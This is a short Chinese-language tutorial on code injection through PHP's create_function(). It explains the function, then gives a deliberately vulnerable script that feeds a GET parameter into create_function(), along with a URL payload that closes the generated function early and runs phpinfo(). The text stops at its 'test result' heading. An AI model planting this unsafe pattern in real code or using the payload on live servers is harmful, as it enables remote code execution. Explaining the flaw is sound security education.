create_function() 代碼注入，，PHP7.2竟然還存在

第一部分：php函數 create_function() 介紹

理論：

create_function()主要用來創建匿名函數,有時候匿名函數可以發揮它的作用。

string create_function    ( string $args   , string $code   )

string $args 變量部分

string $code 方法代碼部分

舉例：

create_function('$fname','echo $fname."Zhang"')

類似於：

function fT($fname) {
  echo $fname."Zhang";
}

舉一個官方提供的例子：

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc";
echo $newfunc(2, M_E) . "
";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>

 

第二部分：如何利用 create_function() 代碼注入

測試環境版本：

apache +php 5.2、apache +php 5.3

有問題的代碼：

<?php
//02-8.php?id=2;}phpinfo();/*
$id=$_GET['id'];
$str2='echo  '.$a.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
$f1 = create_function('$a',$str2);
echo "<br/>";
echo "==============================";
?>

漏洞利用：

http://localhost/02-8.php?id=2;}phpinfo();/*

執行函數爲：

源代碼：
function fT($a) {
  echo "test".$a;
}

注入後代碼：
function fT($a) {
  echo "test";}
  phpinfo();/*;//此處爲注入代碼。
}

測試效果：